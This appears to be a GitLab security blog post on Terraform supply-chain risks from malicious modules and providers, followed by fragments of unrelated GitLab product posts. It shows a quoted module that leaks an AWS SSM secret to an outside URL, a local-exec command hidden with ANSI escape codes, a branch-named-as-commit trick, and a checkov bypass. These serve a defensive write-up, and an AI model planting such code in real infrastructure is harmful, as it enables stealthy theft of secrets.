[{"data":1,"prerenderedAt":814},["ShallowReactive",2],{"/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers":3,"navigation-en-us":35,"banner-en-us":445,"footer-en-us":455,"blog-post-authors-en-us-Joern Schneeweisz":697,"blog-related-posts-en-us-terraform-as-part-of-software-supply-chain-part1-modules-and-providers":711,"blog-promotions-en-us":752,"next-steps-en-us":804},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":23,"isFeatured":12,"meta":24,"navigation":25,"path":26,"publishedDate":20,"seo":27,"stem":32,"tagSlugs":33,"__hash__":34},"blogPosts/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers.yml","Terraform As Part Of Software Supply Chain Part1 Modules And Providers",[7],"joern-schneeweisz",null,"security",{"slug":11,"featured":12,"template":13},"terraform-as-part-of-software-supply-chain-part1-modules-and-providers",false,"BlogPost",{"title":15,"description":16,"authors":17,"heroImage":19,"date":20,"body":21,"category":9,"tags":22},"Terraform as part of the software supply chain, Part 1 - Modules and Providers","We examine the supply chain aspects of Terraform, starting with a closer look at malicious Terraform modules and providers and how you can better secure them.",[18],"Joern Schneeweisz","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682329/Blog/Hero%20Images/pexels-mateusz-dach-353641.jpg","2022-06-01","\n\n## What is Terraform?\n\nTerraform is an infrastructure as code (IaC) solution that helps businesses grow their infrastructure securely and at scale, while managing everything in it from multiple servers to multiple clouds. Terraform lets you build your complete infrastructure as code.\n\nTerraform, which was created by HashiCorp, is an open-source, public-cloud-provisioning tool written in the Go language. Although Terraform serves many functions, its primary use is to help DevOps teams automate various infrastructure management tasks and helps you manage all of your servers and resources, even if they come from different providers (unlike some other IaC competitors). Terraforms connects all of your infrastructures and helps you manage it.\nTerraform supports many providers like [AWS](/blog/deploy-aws/), Google Cloud Platform, Azure, and others via APIs provided by the cloud service providers.\n\n## What are the benefits of using Terraform providers?\n\nThe biggest benefit of using a Terraform cloud provider is the versatility that it provides to DevOps teams. Regardless of which provider you use, Terraform lets you easily manage all of your resources no matter where you’re located and how many servers you have at your disposal.\nThe other major advantage to using Terraform is automation. On any given DevOps team today, there are far too many functions that need to happen repeatedly and simultaneously. The only way to be able to efficiently manage all that needs to be done is to automate a lot of your processes.\nTerraform helps you automate all of your server management tasks. Everything is done in code, and it eliminates a lot of manual work. The ability to create scripts that run your task actions and reuse them makes life a lot easier for DevOps teams.\nFinally, unlike other IaC providers, Terraform doesn’t require any agent software to be installed on the managed infrastructure, making it more user-friendly than those competitors that require agent-based software for IaC installation.\n\n## Terraform Security\n\nWhen talking about Terraform security, there are many resources covering the security aspects of the infrastructure surrounding certain Terraform configurations. Looking at the security of Terraform itself and the things which could go wrong when running it, however, have very little coverage so far.\n\nSome previously published work I'm aware of includes:\n\n- A [blogpost covering malicious Terraform modules](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/) by [xssfox](https://sprocketfox.io/xssfox/about/) had already been published when I started digging into the topic. The main attack vector in this case is a malicious Terraform module which exfiltrates an AWS System Manager-stored secret via HTTP towards an attacker-controlled host.\n\n- The folks at [bridgecrew](https://bridgecrew.io/) reacted to the above xssfox post with some [static detection rules](https://github.com/bridgecrewio/checkov/blob/63d36e5ba309e9c03ef99a13f264ba256d756d8d/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) for their tool `checkov` and a [blogpost looking at the supply chain aspects of Terraform](https://bridgecrew.io/blog/terraform-supply-chain-security-risks-prevent-them-with-checkov/).\n\n- Also worth mentioning is, of course, [Hashicorp's stance on malicious Terraform modules and providers](https://www.terraform.io/cloud-docs/architectural-details/security-model#malicious-terraform-providers-or-modules):\n\n> **\"Terraform providers and modules used in your Terraform configuration will have full access to the variables and Terraform state within a workspace. Terraform Cloud cannot prevent malicious providers and modules from exfiltrating this sensitive data. We recommend only using trusted modules and providers within your Terraform configuration.\"**\n\nThe blog post you're reading is part one of a three-part series examining the supply chain aspects of Terraform and aims to look at malicious Terraform modules and providers. I'll also give recommendations on securing the process of running Terraform against modules and providers gone rogue. The next two blogs in the series will build upon these findings and cover more in-depth topics and vulnerabilities.\n\n## Provider security\nProviders in Terraform are executable binaries, so if a provider turns malicious it's certainly \"game over\" in the sense that it can do whatever the host OS it runs on allows. Providers need to have a signature which gets validated by Terraform upon installation of the Provider. Version `0.14` Terraform creates a [dependency lock file](https://www.terraform.io/language/files/dependency-lock) which records checksums of the used providers in two different formats.\n\n### zh and h1 checksums\nThe first format, `zh`, is simply a SHA256 hash of the `zip` file which contains a provider for a specific OS/hardware platform combination. The `h1` hash is a so-called \"[dirhash](https://pkg.go.dev/golang.org/x/mod/sumdb/dirhash)\" of the provider's directory.\nSo if we look at the following lock file `.terraform.lock.hcl` we can observe the two different types of hashes: \n```hcl\n# This file is maintained automatically by \"terraform init\".  # Manual edits may be lost in future updates.    provider \"registry.terraform.io/hashicorp/aws\" {  version = \"4.11.0\"  hashes = [  \"h1:JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\",  \"zh:3e4634f4babcef402160ffb97f9f37e3e781313ceb7b7858fe4b7fc0e2e33e99\",  \"zh:3ff647aa88e71419480e3f51a4b40e3b0e2d66482bea97c0b4e75f37aa5ad1f1\",  \"zh:4680d16fbb85663034dc3677b402e9e78ab1d4040dd80603052817a96ec08911\",  \"zh:5190d03f43f7ad56dae0a7f0441a0f5b2590f42f6e07a724fe11dd50c42a12e4\",  \"zh:622426fcdbb927e7c198fe4b890a01a5aa312e462cd82ae1e302186eeac1d071\",  \"zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425\",  \"zh:b0b766a835c79f8dd58b93d25df8f37749f33cca2297ac088d402d718baddd9c\",  \"zh:b293cf26a02992b2167ed3f63711dc01221c4a5e2984b6c7c0c04a6155ab0526\",  \"zh:ca8e1f5c58fc838edb5fe7528aec3f2fcbaeabf808add0f401aee5073b61f17f\",  \"zh:e0d2ad2767c0134841d52394d180f8f3315c238949c8d11be39a214630e8d50e\",  \"zh:ece0d11c35a8537b662287e00af4d27a27eb9558353b133674af90ec11c818d3\",  \"zh:f7e1cd07ae883d3be01942dc2b0d516b9736a74e6037287ab19f616725c8f7e8\",  ]  }\n```\n\nThe `zh` entries can also be found in the [provider's v.4.11.0 release](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/) within the [SHA256SUMS](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/terraform-provider-aws_4.11.0_SHA256SUMS) file. To understand the single `h1` dirhash entry we need to have a look at the provider's directory.\nIn our Terraform project it is constructed like this: \n```shell\n$ ls .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/  terraform-provider-aws_v4.11.0_x5\n$ cd .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/\n$ sha256sum terraform-provider-aws_v4.11.0_x5\n34c03613d15861d492c2d826c251580c58de232be6e50066cb0a0bb8c87b48de terraform-provider-aws_v4.11.0_x5\n$ sha256sum terraform-provider-aws_v4.11.0_x5 > /tmp/dirhash\n$ sha256sum /tmp/dirhash    253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 /tmp/dirhash\n$ echo 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 | ruby -rbase64 -e 'puts Base64.encode64 [STDIN.read.chomp].pack(\"H*\")'  JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\n```\n\nThe `dirhash`, called `h1` in the lock file, is created from an alphabetical list of `sha256sum filename`. Once this list is `sha256sum` ed again, the resulting hash is taken in binary representation and then converted to Base64.\n\nFrom an attacker's perspective, the interesting part about the lock file is that it can contain multiple `zh` and `h1` hashes per provider. It is also noteworthy that those two types don't have to have any relationship. If we modify a downloaded provider's content on disk, we can simply place the corresponding `h1` hash next to any other `h1` in the lock file. As there can be multiple entries we would not break any legitimate installation and just allow-list a modified provider directory on-disk on top of what's already allowed.\n\n**Lessons learned here**\n\n1. Put your `.terraform.lock.hcl` under version control (Terraform even suggests this on the command line when it generates the file).\n2. Verify and double-check any modifications and additions to the `.terraform.lock.hcl` file; this is crucial to detect any tampering with the providers in use.\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## Module security\n\nModules don't have any form of signature, and can be downloaded from different [module sources](https://www.terraform.io/language/modules/sources#module-sources). By default what happens when you instruct Terraform to download a module is that the [public Terraform Registry](https://www.terraform.io/language/modules/sources#terraform-registry) will redirect the Terraform client to download a Git tag from a public GitHub repository. The problem here is that Git tags on GitHub are mutable. They can simply be replaced with completely different content by e.g. a force-push of new content under the same tag to GitHub.\n\nSo having a module referenced like: \n```hcl\nmodule \"hello\" {\n  source  = \"joernchen/hello/test\"\n  version = \"0.0.1\"\n}\n```\n\nwould download the [Git tag `v0.0.1`](https://github.com/joernchen/terraform-test-hello/releases/tag/v0.0.1) from my GitHub repository but there's no guarantee about the content.\nAt this point, the most common recommendation is [to specify a git ref](https://www.terraform.io/language/modules/sources#selecting-a-revision) pointing to a full commit SHA. This approach isn't perfect either in the non-default case. Depending on the module source, we can utilize the fact that we're able to name a branch just like a commit hash. GitLab and GitHub won't allow you to create such branches, or to push branches that look like commit hashes. However, other module sources might allow this. An actual attack using this vector would look like what we see below. \nFirst we look at a legitimate clone referencing a git commit: \n```shell\n$ cat main.tf module \"immutable_module\"{\n  source = \"git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758\"\n}\n$ terraform init                                                                    Initializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n\nInitializing the backend...\n\nInitializing provider plugins...\n- Finding latest version of hashicorp/http...\n- Installing hashicorp/http v2.1.0...\n- Installed hashicorp/http v2.1.0 (signed by HashiCorp)\n\nTerraform has created a lock file .terraform.lock.hcl to record the provider\nselections it made above. Include this file in your version control repository\nso that Terraform can guarantee to make the same selections by default when\nyou run \"terraform init\" in the future.\n\nTerraform has been successfully initialized!\n\nYou may now begin working with Terraform. Try running \"terraform plan\" to see\nany changes that are required for your infrastructure. All Terraform commands\nshould now work.\n\nIf you ever set or change modules or backend configuration for Terraform,\nrerun this command to reinitialize your working directory. If you forget, other\ncommands will detect it and remind you to do so if necessary.\n$ ls -al .terraform/modules/immutable_module\ntotal 20\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 .\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 ..\ndrwxr-xr-x 8 joern joern 4096  9. Mai 09:53 .git\n-rw-r--r-- 1 joern joern  159  9. Mai 09:53 main.tf\n-rw-r--r-- 1 joern joern   22  9. Mai 09:53 README.md\n```\n\nThen we prepare our repository to have a branch with the same name as the previously used commit: \n```shell\n$ git checkout -b e23c0dcbb43ca19ea9ca91c879aafcc66c990758\nSwitched to a new branch 'e23c0dcbb43ca19ea9ca91c879aafcc66c990758'\n$ echo \"a malicious file\">malicious.tf\n$ git add malicious.tf $ git commit -m \"a malicious commit\"\n[e23c0dcbb43ca19ea9ca91c879aafcc66c990758 51de72e] a malicious commit\n 1 file changed, 1 insertion(+)\n create mode 100644 malicious.tf\n```\nWhen we initialize the project again we'll pull the malicious branch instead of the referenced commit:\n\n```shell\n$ rm -rf .terraform         $ terraform init\nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n╷\n│ Error: Invalid block definition\n│ │ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n\n╷\n│ Error: Invalid block definition\n│ │ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n```\n\n**Lesson learned here**\nSeemingly immutable git refs really aren't that immutable after all. This means we cannot trust modules hosted in arbitrary locations and simply rely on their git ref to be pinned. Instead, we must have control over the hosted location such that manipulation of the repository can be prevented.\n\n### Impact of malicious modules\n\nWhat could a malicious module do?\n\nReading the documentation, there are some useful primitives already built in. The most \"powerful\" primitive, if we want to mess with the Terraform run itself, might be [`local-exec`](https://www.terraform.io/language/resources/provisioners/local-exec) which will let us run local commands on the machine running the Terraform process.\n\nTerraform, however, will be verbose about this and tell the user what it just executed:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec.png)\nTerraform local-exec\n\n\n\nWe can cheat here a little as most terminals support so-called [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) which allow one to meddle to a certain extent with the terminal output.\n\nThe following variant of our `main.tf` file in the screenshot above will disguise the output traces of `local-exec` in the terminal: \n```hcl\nresource \"null_resource\" \"lol\" {    provisioner \"local-exec\" {  command = \"id > haxx ;echo -e '\\\\033[0K \\\\033[1K \\\\033[1A \\\\033[0K \\\\033[1K \\\\033[2A'\"  }  }\n```\n\nThe screenshot below shows that our traces of using `local-exec` are no longer visible in the shell output:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec-ansi.png)\nLocal exec is no longer visible in the shell output\n\n\nAnother attack vector was outlined [in xssfox's post](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/): \n```hcl\nterraform {\n  required_providers {\n    aws = {\n      source  = \"hashicorp/aws\"\n    }\n    http = {}\n  }\n}\n\nresource \"aws_ssm_parameter\" \"param\" {\n  name  = var.parameter_name\n  type  = \"SecureString\"\n  value = random_password.password.result\n}\n\nresource \"random_password\" \"password\" {\n  length           = 16\n  special          = true\n  override_special = \"_%@\"\n}\n\n## !!! Our evil way to leak data !!!\ndata \"http\" \"leak\" {\n    url = \"https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}\"\n}\n```\n\nHere, the to-be-kept-secret parameter `aws_ssm_parameter` is leaked via the `http` data source. We can detect such a leak with [`checkov`](https://www.checkov.io/). Running `checkov` to check the above terraform code will warn us with a failed check:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov1.png)\nFailed check\n\n\nThis check can be bypassed quite easily by simply wrapping the leaked parameters in `base64encode`:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov2.png)\nBypassing the failed check\n\n\n\n**Lesson learned here**\n\nThe main takeaway is that malicious modules can be a quite powerful attack primitive and there are many different ways to compromise a Terraform run with a malicious module, such that even automated checks might fail.\n\n### Closing thoughts and what's next\n\nThis first blog covered the basics of malicious modules and providers in Terraform. As a bottom line I'd like to emphasize the fragility of running Terraform in cases where third-party modules and providers are being used. To harden your Terraform process against malicious modules you should be in control of the included module's and provider's content at all times. For providers, you can rely on the signatures as long as they've not been messed with. For modules, it is recommended to host them in a controlled environment.\n\nOur next blog in this series will cover some vulnerabilities in Terraform itself. In our third and final post we'll take a closer look at CI/CD related aspects of Terraform. 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your pipeline for AI-discovered zero-days","AI is finding vulnerabilities faster than teams can patch. Learn how pipeline enforcement, automated triage, and AI remediation close the gap.",[717],"Omer Azaria","2026-04-20","Anthropic's [Mythos Preview model](https://red.anthropic.com/2026/mythos-preview/) recently identified thousands of zero-day vulnerabilities across every major operating system and web browser, including an OpenBSD bug that went undetected for 27 years. In testing, Mythos autonomously chained four vulnerabilities into a working browser exploit that escaped its sandbox. Anthropic is restricting access to Mythos, but the company’s head of offensive cyber research expects threats to have comparable tooling within six to twelve months.\n\nThe defender side of the equation hasn't kept pace. One third of exploited Common Vulnerabilities and Exposures (CVEs) in the first half of 2025 showed activity on or before disclosure day, before most teams even know there's something to patch. AI is compressing that window further, accelerating attackers and flooding teams with whitehat disclosures faster than they can triage. Defender tooling has improved, but most organizations can't operationalize it fast enough to close the gap between discovery and exploitation.\n\nWhen the window between disclosure and exploitation is measured in hours, the security team can't be the last line of defense. Security has to run where code enters the system: in the pipeline, on every merge request, enforced by policy. The fixes that can be automated should be. The ones that can't need to reach the right human faster than they do today.\n\n## Known vulnerabilities are already outpacing remediation\n\nThe bottleneck isn't detection, it's acting at scale on what teams already know. Sixty percent of breaches in the 2025 Verizon DBIR involved exploiting known vulnerabilities where a patch was already available. Teams couldn’t close them in time.\n\nThe backlog was untenable before Mythos. Developers spend [11 hours per month remediating vulnerabilities](https://about.gitlab.com/resources/developer-survey/) post-release instead of shipping new work. Over half of organizations have at least one open internet-facing vulnerability, and the median time to close half of those is 361 days. Exploitation takes hours, while remediation takes months.\n\nAI-assisted development is widening the gap, and stakeholders know it. By June 2025, AI-generated code was adding over 10,000 new security findings per month across Fortune 50 repositories, a 10x jump from six months earlier. Georgia Tech identified 34 [CVEs attributable to AI-generated code](https://research.gatech.edu/bad-vibes-ai-generated-code-vulnerable-researchers-warn) in March 2026, up from 6 in January, and that count reflects only the ones where AI authorship is clear. AI coding assistants hallucinate package names, reach for outdated patterns, and copy insecure examples from training data. More code, more dependencies, and more vulnerabilities per line are generated faster than security teams can review them.\n\nDefenders need to harness frontier AI models, too — not bolted onto the SDLC as external tooling, but running inside the same policies, approvals, and audit trail as the rest of the team. \n\n## Security at the speed of AI coding\n\nWhen a critical CVE drops, how quickly can your team confirm which projects are affected? How many tools does an alert cross before a developer can submit a fix?\n\nThe teams that benefit most from AI already have policies, enforcement, and controls embedded in their development workflows. AI amplifies that foundation. It doesn't replace it.\n\n**Enforcement at the point of change.** As exploitation windows compress, every line of code entering a repository needs to pass through a defined set of controls. Not a separate review, in a different tool, by a different team. Organizations need the ability to enforce security policies across every group and project, with the merge request as the enforcement point. Policies defined once, applied everywhere, with exceptions reviewed, approved, and logged.\n\n**Simple issues caught before the merge request, not during.** Hardcoded secrets, known-vulnerable imports, and deprecated API calls can be flagged in the IDE before a developer pushes a commit. Catching them at authoring time means fewer findings blocking the MR, so review cycles go to the findings that require cross-component context: reachability, exploitability, and architectural risk.\n\n**Triage automated by default, not by exception.** Embedding security into every merge request creates a volume problem. More scans, more findings, more noise reaching developers who aren’t trained to distinguish a reachable critical from a theoretical one. AI must handle false positive detection, reachability, exploitability context, and severity assessment before a developer sees the finding, so the findings they see actually warrant their time.\n\n**Remediation governed like any other change.** AI-based remediation compresses the timeline for closing vulnerabilities, but every generated fix must move through the same governance as a human-authored change: policies enforce scans, the right reviewers approve, and evidence is recorded. GitLab’s automated remediation capability proposes each fix in a merge request with a confidence score. The MR records which policy applied, which scans ran, what they found, and who approved. Human code and AI-generated code move through the same process, with the same audit trail.\n\n## What a ready pipeline looks like\n\nHere's how these pieces work together when a high-severity vulnerability is discovered and the clock is running.\n\nA proof-of-concept exploit for a vulnerability in a popular open-source package appears on a security mailing list. There’s no CVE, no National Vulnerability Database (NVD) entry, and no scanner signature yet. The security team finds out the usual way: someone shares it in Slack.\n\nA security engineer asks the security agent if the package is in use, which projects have affected versions, and whether any vulnerable call paths are reachable in production. The agent checks the dependency graph for every project, matches the affected versions and entry points from the disclosure, and returns a ranked list of exposed projects with details about reachability. There’s no need to search through repositories by hand or wait for a scanner update. The question, \"Are we exposed?\" is answered in minutes.\n\nThe engineer starts a remediation campaign for every exposed project. The remediation agent suggests fixes: version updates where a patched release is available, and targeted call-path patches where it is not. Scan execution policies are already in place for projects tagged SOC 2. The engineer hardens the rules to block merges on any merge request that introduces or keeps the affected dependency, and an approval policy now requires security sign-off on every fix. The agent's first proposed patch fails the pipeline when an integration test catches a regression. The agent revises the patch based on the test failure, and the second attempt passes. Developers review the changes, security signs off under the stricter policy, and merges proceed across the campaign.\n\nAt the next audit review, the security team presents a report showing how policies were enforced and risks were reduced during the campaign. It includes scan results, policies applied, approvers, and merge timestamps for every MR in every affected project. The evidence was automatically generated in flight, not assembled after the fact.\n\n## Close the gaps now\n\nMythos exists today, and comparable models will be in attacker hands within a year. Every month between now and then is a chance to strengthen your software supply chain.\n\nAsk these questions about your pipeline:\n\n* How do you enforce that security scans run on every merge request, not just the projects where teams configured them?\n\n* If a compromised package entered your dependency tree today, would your pipeline catch it before build?\n\n* When a scanner flags a critical finding, how many tool boundaries does it cross before a developer starts the fix?\n\n* If an AI agent proposed a code fix for a vulnerability, what process would that fix go through before reaching production, and is that process auditable?\n\n* When auditors ask for evidence that a specific policy was enforced on a specific change, how long does it take to produce?\n\nIf the answers expose gaps, address them now. [Talk to a GitLab solutions architect](https://about.gitlab.com/sales/) about the role of security governance in your development lifecycle.",[721,9,530],"AI/ML","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png",{"featured":25,"template":13,"slug":724},"prepare-your-pipeline-for-ai-discovered-zero-days",{"content":726,"config":738},{"title":727,"description":728,"authors":729,"heroImage":731,"date":732,"category":9,"tags":733,"body":737},"Manage vulnerability noise at scale with auto-dismiss policies","Learn how to cut through scanner noise and focus on the vulnerabilities that matter most with GitLab security, including use cases and templates.",[730],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-03-25",[9,734,562,735,736],"tutorial","features","product","Security scanners are essential, but not every finding requires action. Test code, vendored dependencies, generated files, and known false positives create noise that buries the vulnerabilities that actually matter. Security teams waste hours manually dismissing the same irrelevant findings across projects and pipelines. They experience slower triage, alert fatigue, and developer friction that undermines adoption of security scanning itself.\n\nGitLab's auto-dismiss vulnerability policies let you codify your triage decisions once and apply them automatically on every default-branch pipeline. Define criteria based on file path, directory, or vulnerability identifier (CVE, CWE), choose a dismissal reason, and let GitLab handle the rest.\n\n## Why auto-dismiss?\nAuto-dismiss vulnerability policies enable security teams to:\n- **Eliminate triage noise**: Automatically dismiss findings in test code, vendored dependencies, and generated files.\n- **Enforce decisions at scale**: Apply policies centrally to dismiss known false positives across your entire organization.\n- **Maintain audit transparency**: Every auto-dismissed finding includes a documented reason and links back to the policy that triggered it.\n- **Preserve the record**: Unlike scanner exclusions, dismissed vulnerabilities remain in your report, so you can revisit decisions if conditions change.\n\n## How auto-dismiss policies work\n\n1. **Define your policy** in a vulnerability management policy YAML file. Specify match criteria (file path, directory, or identifier) and a dismissal reason.\n\n2. **Merge and activate.** Create the policy via **Secure > Policies > New  policy > Vulnerability management policy**. Merge the MR to enable it.\n3. **Run your pipeline.** On every default-branch pipeline, matching vulnerabilities are automatically set to \"Dismissed\" with the specified reason. Up to 1,000 vulnerabilities are processed per run.\n4. **Measure the impact.** Filter your vulnerability report by status \"Dismissed\" to see exactly what was cleaned up and validate that the right findings are being handled.\n\n## Use cases with ready-to-use configurations\n\nEach example below includes a policy configuration you can copy, customize, and apply immediately.\n\n### 1. Dismiss test code vulnerabilities\n\nSAST and dependency scanners flag hardcoded credentials, insecure fixtures, and dev-only dependencies in test directories. These are not production risks.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss test code vulnerabilities\"\n    description: \"Auto-dismiss findings in test directories\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"test/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"tests/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"spec/**/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"__tests__/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: used_in_tests\n\n```\n\n### 2. Dismiss vendored and third-party code\n\nVulnerabilities in `vendor/`, `third_party/`, or checked-in `node_modules` are managed upstream and not actionable for your team.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss vendored dependency findings\"\n    description: \"Findings in vendored code are managed upstream\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendor/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"third_party/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendored/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 3. Dismiss known false positive CVEs\n\nCertain CVEs are repeatedly flagged but don't apply to your usage context. Teams dismiss these manually every time they appear. Replace the example CVEs below with your own.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss known false positive CVEs\"\n    description: \"CVEs confirmed as false positives for our environment\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-44487\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2024-29041\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-26136\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: false_positive\n\n```\n\n### 4. Dismiss generated and auto-created code\n\nProtobuf, gRPC, OpenAPI generators, and ORM scaffolding tools produce files with flagged patterns that cannot be patched by your team.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss generated code findings\"\n    description: \"Generated files are not authored by us\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"generated/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.pb.go\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.generated.*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 5. Dismiss infrastructure-mitigated vulnerabilities\n\nVulnerability classes like XSS (CWE-79) or SQL injection (CWE-89) that are already addressed by WAF rules or runtime protection. Only use this when mitigating controls are verified and consistently enforced.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss CWEs mitigated by WAF\"\n    description: \"XSS and SQLi mitigated by WAF rules\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-79\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-89\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: mitigating_control\n\n```\n\n### 6. Dismiss CVE families across your organization\n\nA wave of related CVEs for a widely-used library your team has assessed? Apply at the group level to dismiss them across dozens of projects. The wildcard pattern (e.g., `CVE-2021-44*`) matches all CVEs with that prefix.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Accept risk for log4j CVE family\"\n    description: \"Log4j CVEs mitigated by version pinning and WAF\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2021-44*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: acceptable_risk\n\n```\n\n## Quick reference\n\n| Parameter | Details |\n|-----------|---------|\n| **Criteria types** | `file_path` (glob patterns, e.g., `test/**/*`), `directory` (e.g., `vendor/*`), `identifier` (CVE/CWE with wildcards, e.g., `CVE-2023-*`) |\n| **Dismissal reasons** | `acceptable_risk`, `false_positive`, `mitigating_control`, `used_in_tests`, `not_applicable` |\n| **Criteria logic** | Multiple criteria within a rule = AND (must match all). Multiple rules within a policy = OR (match any). |\n| **Limits** | 3 criteria per rule, 5 rules per policy, 5 policies per security policy project. Vulnerabilty management policy actions process 1000 vulnerabilities per pipeline run in the target project, until all matching vulnerabilities are processed. |\n| **Affected statuses** | Needs triage, Confirmed |\n| **Scope** | Project-level or group-level (group-level applies across all projects) |\n\n## Getting started\nHere's how to get started with auto-dismiss policies:\n\n1. **Identify the noise.** Open your vulnerability report and sort by \"Needs triage.\" Look for patterns: test files, vendored code, the same CVE across projects.\n\n2. **Pick a scenario.** Start with whichever use case above accounts for the most findings.\n\n3. **Record your baseline.** Note the number of \"Needs triage\" vulnerabilities before creating a policy.\n\n4. **Create and enable.** Navigate to **Secure > Policies > New policy > Vulnerability management policy**. Paste the configuration from the use case above, then merge the MR.\n\n5. **Validate results.** After the next default-branch pipeline, filter by status \"Dismissed\" to confirm the right findings were handled.\n\nFor full configuration details, see the [vulnerability management policy documentation](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/#auto-dismiss-policies).\n\n> Ready to take control of vulnerability noise? [Start a free GitLab Ultimate trial](https://about.gitlab.com/free-trial/) and configure your first auto-dismiss policy today.\n",{"slug":739,"featured":25,"template":13},"auto-dismiss-vulnerability-management-policy",{"content":741,"config":750},{"title":742,"description":743,"authors":744,"heroImage":746,"date":747,"body":748,"category":9,"tags":749},"GitLab 18.10 brings AI-native triage and remediation ","Learn about GitLab Duo Agent Platform capabilities that cut noise, surface real vulnerabilities, and turn findings into proposed fixes.",[745],"Alisa Ho","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png","2026-03-19","GitLab 18.10 introduces new AI-powered security capabilities focused on improving the quality and speed of vulnerability management. Together, these features can help reduce the time developers spend investigating false positives and bring automated remediation directly into their workflow, so they can fix vulnerabilities without needing to be security experts.\n\nHere is what’s new:\n\n* [**Static Application Security Testing (SAST) false positive detection**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **is now generally available.** This flow uses an LLM for agentic reasoning to determine the likelihood that a vulnerability is a false positive or not, so security and development teams can focus on remediating critical vulnerabilities first.  \n* [**Agentic SAST vulnerability resolution**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **is now in beta.** Agentic SAST vulnerability resolution automatically creates a merge request with a proposed fix for verified SAST vulnerabilities, which can shorten time to remediation and reduce the need for deep security expertise.  \n* [**Secret false positive detection**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **is now in beta.** This flow brings the same AI-powered noise reduction to secret detection, flagging dummy and test secrets to save review effort.\n\nThese flows are available to GitLab Ultimate customers using GitLab Duo Agent Platform. \n\n## 